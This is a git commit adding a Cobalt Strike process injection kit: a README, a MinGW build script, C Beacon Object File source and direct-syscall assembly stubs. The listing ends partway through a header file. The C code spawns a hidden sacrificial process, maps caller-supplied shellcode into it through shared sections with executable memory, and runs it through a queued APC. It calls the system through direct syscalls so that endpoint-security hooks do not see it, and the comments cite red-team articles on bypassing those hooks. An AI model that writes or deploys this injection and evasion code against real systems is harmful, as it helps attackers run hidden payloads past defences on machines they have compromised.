Initial commit

Initial commit for cobalt strike process injection kit
This commit is contained in:
Viktor Georgiev
2023-11-30 09:45:07 +02:00
commit 47400e17a7
12 changed files with 2457 additions and 0 deletions
+32
View File
@@ -0,0 +1,32 @@
# Process Inject Kit
Cobalt Strike 4.5 now supports two new Aggressor Script hooks
`PROCESS_INJECT_SPAWN` and `PROCESS_INJECT_EXPLICIT`. These hooks allow
a user to define how the fork&run and explicit injection techniques are
implemented when executing post-exploitation commands instead of using
the built-in techniques.
#### PROCESS_INJECT_SPAWN
Hook to allow users to define how the fork and run process injection technique
is implemented when executing post exploitation commands using a Beacon Object
File (BOF).
#### PROCESS_INJECT_EXPLICIT
Hook to allow users to define how the explicit process injection technique is
implemented when executing post exploitation commands using a Beacon Object
File (BOF).
# Load into Cobalt Strike
Open the Scripts manager, Cobalt Strike -> Scripts
Load `<output directory>/process_inject/processinject.cna`
### TODO
- Fully implement our own process spawn with syscalls
+80
View File
@@ -0,0 +1,80 @@
#!/usr/bin/env bash
# make our output look nice...
kit_name="Process Inject kit"
function print_good () {
echo -e "[${kit_name}] \x1B[01;32m[+]\x1B[0m $1"
}
function print_error () {
echo -e "[${kit_name}] \x1B[01;31m[-]\x1B[0m $1"
}
function print_info () {
echo -e "[${kit_name}] \x1B[01;34m[*]\x1B[0m $1"
}
#
# Compile the 64-bit version of the object files
#
function compile_x64() {
print_info "Compile ${1}.x64.o"
${CCx64}-gcc -m64 $options -c src/${1}.c -o "${2}/${1}.x64.o"
}
#
# Compile the 32-bit version of the object files
#
function compile_x86() {
print_info "Compile ${1}.x86.o"
${CCx86}-gcc $options -c src/${1}.c -o "${2}/${1}.x86.o"
}
# compiler flags to pass to all builds. Use this to set optimization level or tweak other fun things.
export options="-Os -masm=intel"
# change up the compiler if you need to
export CCx86="i686-w64-mingw32"
export CCx64="x86_64-w64-mingw32"
# check for a cross-compiler
if [ $(command -v ${CCx64}-gcc) ]; then
print_good "You have a x86_64 mingw--I will recompile the process inject beacon object files"
else
print_error "No cross-compiler detected. Try: apt-get install mingw-w64"
exit 2
fi
#
# compile the process inject object files
#
if [[ $# -ne 1 ]]; then
print_error "Missing parameters"
print_error "Provide a DIST directory to save the output"
print_error "Example:"
print_error ' ./build.sh /tmp/dist/process_inject'
exit 2
fi
# Clean
dist_directory="${1}"
rm -rf "${dist_directory}"
mkdir -p "${dist_directory}"
compile_x64 process_inject_spawn "${dist_directory}"
compile_x86 process_inject_spawn "${dist_directory}"
compile_x64 process_inject_explicit "${dist_directory}"
compile_x86 process_inject_explicit "${dist_directory}"
sed 's/KITNAME/process_inject_kit/' ../../templates/helper_functions.template > "${dist_directory}/processinject.cna"
cat ./script_template.cna >> "${dist_directory}/processinject.cna"
print_good "The Process inject object files are saved in '${dist_directory}'"
+248
View File
@@ -0,0 +1,248 @@
#include <windows.h>
#include "beacon.h"
#include "syscalls.c"
/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
return TRUE;
#elif defined _M_IX86
return FALSE;
#endif
}
//Custom process creation with syscalls
typedef struct {
HANDLE hProcess;
HANDLE hThread;
} ProcHands;
ProcHands CreateProc(
const char *proc,
const char *cwd,
const char *cl)
{
ProcHands handles;
//Attempt to spawn our own process
UNICODE_STRING NtImagePath, CurrentDirectory, CommandLine;
NTDLL$RtlInitUnicodeString(&NtImagePath, (PWSTR)proc);
NTDLL$RtlInitUnicodeString(&CurrentDirectory, (PWSTR)cwd);
NTDLL$RtlInitUnicodeString(&CommandLine, (PWSTR)cl);
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
NTSTATUS status = NTDLL$RtlCreateProcessParametersEx(
&ProcessParameters,
&NtImagePath,
NULL,
&CurrentDirectory,
&CommandLine,
NULL,
NULL,
NULL,
NULL,
NULL,
RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "RtlCreateProcessParametersEx failed with error code: 0x%X", status);
return;
}
PS_CREATE_INFO CreateInfo = { 0 };
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)NTDLL$RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE)*3);
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST);
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
status = NtCreateUserProcess(
&handles.hProcess,
&handles.hThread,
PROCESS_ALL_ACCESS,
THREAD_ALL_ACCESS,
NULL,
NULL,
PROCESS_CREATE_FLAGS_SUSPENDED, //proc flags
THREAD_CREATE_FLAGS_CREATE_SUSPENDED, //thread flags
ProcessParameters,
&CreateInfo,
AttributeList);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtCreateUserProcess failed with error code: 0x%X", status);
return;
}
// Clean up
NTDLL$RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
NTDLL$RtlDestroyProcessParameters(ProcessParameters);
return handles;
}
/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
datap parser;
short ignoreToken;
char * dllPtr;
int dllLen;
/* Warn about crossing to another architecture. */
if (!is_x64() && x86 == FALSE) {
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64");
}
if (is_x64() && x86 == TRUE) {
BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86");
}
/* Extract the arguments */
BeaconDataParse(&parser, args, alen);
ignoreToken = BeaconDataShort(&parser);
dllPtr = BeaconDataExtract(&parser, &dllLen);
/* zero out these data structures */
__stosb((void *)&si, 0, sizeof(STARTUPINFO));
__stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION));
//attributes for section create
OBJECT_ATTRIBUTES oattr;
InitializeObjectAttributes(&oattr, NULL, 0, NULL, NULL);
/* setup the other values in our startup info structure */
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.cb = sizeof(STARTUPINFO);
/* Ready to go: spawn, inject and cleanup */
if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) {
BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64");
return;
}
/*
//Attempt to spawn our own process
ProcHands handles = CreateProc(
L"\\??\\C:\\Windows\\System32\\cmd.exe",
L"C:\\Windows\\System32",
L"\"C:\\Windows\\System32\\cmd.exe /path/to/param.txt\""
);
*/
//NtCreateSection
HANDLE shand;
LARGE_INTEGER sc_size = { dllLen };
NTSTATUS status = NtCreateSection(
&shand,
SECTION_ALL_ACCESS,
&oattr,
&sc_size,
PAGE_EXECUTE_READWRITE,
SEC_COMMIT,
NULL
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtCreateSection failed with error code: 0x%X", status);
BeaconCleanupProcess(&pi);
return;
}
//NtMapViewOfSection to local process
PVOID local_mem = NULL;
SIZE_T vSize = 0;
status = NtMapViewOfSection(
shand,
KERNEL32$GetCurrentProcess(),
&local_mem,
NULL,
NULL,
NULL,
&vSize,
2,
NULL,
PAGE_READWRITE
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to local process failed with error code: 0x%X", status);
NtClose(shand);
BeaconCleanupProcess(&pi);
return;
}
mymemcopy(local_mem, dllPtr, dllLen);
//NtMapViewOfSection to the sacrifical process
PVOID remote_mem = NULL;
status = NtMapViewOfSection(
shand,
pi.hProcess,
&remote_mem,
NULL,
NULL,
NULL,
&vSize,
2,
NULL,
PAGE_EXECUTE_READ
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtMapViewOfSection to remote process failed with error code: 0x%X", status);
NtClose(shand);
BeaconCleanupProcess(&pi);
return;
}
//Queue APC on the main thread
status = NtQueueApcThread(
pi.hThread,
(PIO_APC_ROUTINE)remote_mem,
NULL,
NULL,
NULL
);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtQueueApcThread failed with error code: 0x%X", status);
NtClose(shand);
BeaconCleanupProcess(&pi);
return;
}
//Set the thread in alerted state so the APC can be executed
status = NtAlertThread(pi.hThread);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtAlertThread failed with error code: 0x%X", status);
NtClose(shand);
BeaconCleanupProcess(&pi);
return;
}
status = NtResumeThread(pi.hThread, NULL);
if (status != STATUS_SUCCESS)
{
BeaconPrintf(CALLBACK_ERROR, "NtResumeThread failed with error code: 0x%X", status);
}
//Unmap the created section from the local process
status = NtUnmapViewOfSection(KERNEL32$GetCurrentProcess(), local_mem);
if (status != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR, "NtUnmapViewOfSection failed with error code: 0x%X", status);
return;
}
//BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0);
NtClose(shand);
BeaconCleanupProcess(&pi);
}
void gox86(char * args, int alen) {
go(args, alen, TRUE);
}
void gox64(char * args, int alen) {
go(args, alen, FALSE);
}
+210
View File
@@ -0,0 +1,210 @@
#pragma once
#include <windows.h>
#if _WIN64
#define ZwCreateSection NtCreateSection
__asm__("NtCreateSection: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x0B8929801 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwMapViewOfSection NtMapViewOfSection
__asm__("NtMapViewOfSection: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x03F91DEC2 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwQueueApcThread NtQueueApcThread
__asm__("NtQueueApcThread: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x0100F15A6 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwAlertThread NtAlertThread
__asm__("NtAlertThread: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x06BB897D7 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwResumeThread NtResumeThread
__asm__("NtResumeThread: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x0103F5A11 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwUnmapViewOfSection NtUnmapViewOfSection
__asm__("NtUnmapViewOfSection: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x01CCC2661 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwClose NtClose
__asm__("NtClose: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x0C5592A11 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwOpenProcess NtOpenProcess
__asm__("NtOpenProcess: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x04DD14C44 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwCreateThreadEx NtCreateThreadEx
__asm__("NtCreateThreadEx: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x004B8C602 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#define ZwCreateUserProcess NtCreateUserProcess
__asm__("NtCreateUserProcess: \n\
mov [rsp +8], rcx \n\
mov [rsp+16], rdx \n\
mov [rsp+24], r8 \n\
mov [rsp+32], r9 \n\
sub rsp, 0x28 \n\
mov ecx, 0x049DE4A40 \n\
call SW2_GetSyscallNumber \n\
add rsp, 0x28 \n\
mov rcx, [rsp +8] \n\
mov rdx, [rsp+16] \n\
mov r8, [rsp+24] \n\
mov r9, [rsp+32] \n\
mov r10, rcx \n\
syscall \n\
ret \n\
");
#endif
+858
View File
@@ -0,0 +1,858 @@
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
// Ref: https://github.com/x64dbg/TitanEngine/blob/x64dbg/TitanEngine/ntdll.h
// Ref: https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html
// Ref: https://offensivedefence.co.uk/posts/ntcreateuserprocess/
#ifndef SW2_HEADER_H_
#define SW2_HEADER_H_
#include <windows.h>
#include "syscalls-asm.h"
#ifdef _WIN64
#define ULONGSIZE ULONG64
#else
#define ULONGSIZE ULONG32
#endif
#ifdef _WIN64
#define PEB_OFFSET 0x60
#define READ_MEMLOC __readgsqword
#else
#define PEB_OFFSET 0x30
#define READ_MEMLOC __readfsdword
#endif
#define SW2_SEED 0x655E97F3
#define SW2_ROL8(v) (v << 8 | v >> 24)
#define SW2_ROR8(v) (v >> 8 | v << 24)
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
#define SW2_MAX_ENTRIES 500
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
#define STATUS_SUCCESS 0x00000000
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
typedef struct _SW2_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;
typedef struct _SW2_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW2_PEB_LDR_DATA Ldr;
} SW2_PEB, *PSW2_PEB;
typedef struct _PS_ATTRIBUTE
{
ULONG_PTR Attribute; // PROC_THREAD_ATTRIBUTE_XXX | PROC_THREAD_ATTRIBUTE_XXX modifiers, see ProcThreadAttributeValue macro and Windows Internals 6 (372)
SIZE_T Size; // Size of Value or *ValuePtr
union
{
ULONG_PTR Value; // Reserve 8 bytes for data (such as a Handle or a data pointer)
PVOID ValuePtr; // data pointer
};
PSIZE_T ReturnLength; // Either 0 or specifies size of data returned to caller via "ValuePtr"
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
VOID* Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved);
//NtCreateUserProcess structs start
#define GDI_BATCH_BUFFER_SIZE 310
#define GDI_HANDLE_BUFFER_SIZE32 34
#define GDI_HANDLE_BUFFER_SIZE64 60
#ifndef _WIN64
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64
#endif
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
typedef struct _PROCESSOR_NUMBER {
WORD Group;
BYTE Number;
BYTE Reserved;
} PROCESSOR_NUMBER, *PPROCESSOR_NUMBER;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT
{
ULONG Flags;
PSTR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME
{
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _GDI_TEB_BATCH
{
ULONG Offset;
ULONG_PTR HDC;
ULONG Buffer[GDI_BATCH_BUFFER_SIZE];
} GDI_TEB_BATCH, *PGDI_TEB_BATCH;
typedef struct _ACTIVATION_CONTEXT_STACK
{
struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK;
#define RTL_MAX_DRIVE_LETTERS 32
typedef struct _CURDIR
{
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, *PCURDIR;
typedef struct _RTL_DRIVE_LETTER_CURDIR
{
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
ULONG_PTR EnvironmentSize;
ULONG_PTR EnvironmentVersion;
PVOID PackageDependencyData;
ULONG ProcessGroupId;
ULONG LoaderThreads;
UNICODE_STRING RedirectionDllName; // REDSTONE4
UNICODE_STRING HeapPartitionName; // 19H1
ULONG_PTR DefaultThreadpoolCpuSetMasks;
ULONG DefaultThreadpoolCpuSetMaskCount;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAwareProcess : 1;
} s1;
} u1;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ReservedBits0 : 25;
} s2;
} u2;
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
} u3;
ULONG SystemReserved[1];
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID SharedData; // HotpatchInformation
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData; // PCPTABLEINFO
PVOID OemCodePageData; // PCPTABLEINFO
PVOID UnicodeCaseTableData; // PNLSTABLEINFO
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* ProcessHeaps; // PHEAP
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PRTL_CRITICAL_SECTION LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ActiveProcessAffinityMask;
GDI_HANDLE_BUFFER GdiHandleBuffer;
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
UNICODE_STRING CSDVersion;
PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
SIZE_T MinimumStackCommit;
PVOID* FlsCallback;
LIST_ENTRY FlsListHead;
PVOID FlsBitmap;
ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
ULONG FlsHighIndex;
PVOID WerRegistrationData;
PVOID WerShipAssertPtr;
PVOID pUnused; // pContextData
PVOID pImageHeaderHash;
union
{
ULONG TracingFlags;
struct
{
ULONG HeapTracingEnabled : 1;
ULONG CritSecTracingEnabled : 1;
ULONG LibLoaderTracingEnabled : 1;
ULONG SpareTracingBits : 29;
} s3;
} u4;
ULONGLONG CsrServerReadOnlySharedMemoryBase;
PVOID TppWorkerpListLock;
LIST_ENTRY TppWorkerpList;
PVOID WaitOnAddressHashTable[128];
PVOID TelemetryCoverageHeader; // REDSTONE3
ULONG CloudFileFlags;
} PEB, *PPEB;
typedef enum _PS_ATTRIBUTE_NUM
{
PsAttributeParentProcess, // in HANDLE
PsAttributeDebugPort, // in HANDLE
PsAttributeToken, // in HANDLE
PsAttributeClientId, // out PCLIENT_ID
PsAttributeTebAddress, // out PTEB
PsAttributeImageName, // in PWSTR
PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION
PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE
PsAttributePriorityClass, // in UCHAR
PsAttributeErrorMode, // in ULONG
PsAttributeStdHandleInfo, // in PPS_STD_HANDLE_INFO
PsAttributeHandleList, // in PHANDLE
PsAttributeGroupAffinity, // in PGROUP_AFFINITY
PsAttributePreferredNode, // in PUSHORT
PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER
PsAttributeUmsThread, // see MSDN UpdateProceThreadAttributeList (CreateProcessW) - in PUMS_CREATE_THREAD_ATTRIBUTES
PsAttributeMitigationOptions, // in UCHAR
PsAttributeProtectionLevel, // in ULONG
PsAttributeSecureProcess, // since THRESHOLD (Virtual Secure Mode, Device Guard)
PsAttributeJobList,
PsAttributeChildProcessPolicy, // since THRESHOLD2
PsAttributeAllApplicationPackagesPolicy, // since REDSTONE
PsAttributeWin32kFilter,
PsAttributeSafeOpenPromptOriginClaim,
PsAttributeBnoIsolation,
PsAttributeDesktopAppPolicy,
PsAttributeMax
} PS_ATTRIBUTE_NUM;
#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff
#define PS_ATTRIBUTE_THREAD 0x00010000 // Attribute may be used with thread creation
#define PS_ATTRIBUTE_INPUT 0x00020000 // Attribute is input only
#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // Attribute may be "accumulated", e.g. bitmasks, counters, etc.
#define PsAttributeValue(Number, Thread, Input, Additive) \
(((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \
((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \
((Input) ? PS_ATTRIBUTE_INPUT : 0) | \
((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0))
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200
#define RTL_USER_PROCESS_PARAMETERS_NORMALIZED 0x01
#define PS_ATTRIBUTE_IMAGE_NAME \
PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)
#define RTL_MAX_DRIVE_LETTERS 32
typedef enum _PS_CREATE_STATE
{
PsCreateInitialState,
PsCreateFailOnFileOpen,
PsCreateFailOnSectionCreate,
PsCreateFailExeFormat,
PsCreateFailMachineMismatch,
PsCreateFailExeName, // Debugger specified
PsCreateSuccess,
PsCreateMaximumStates
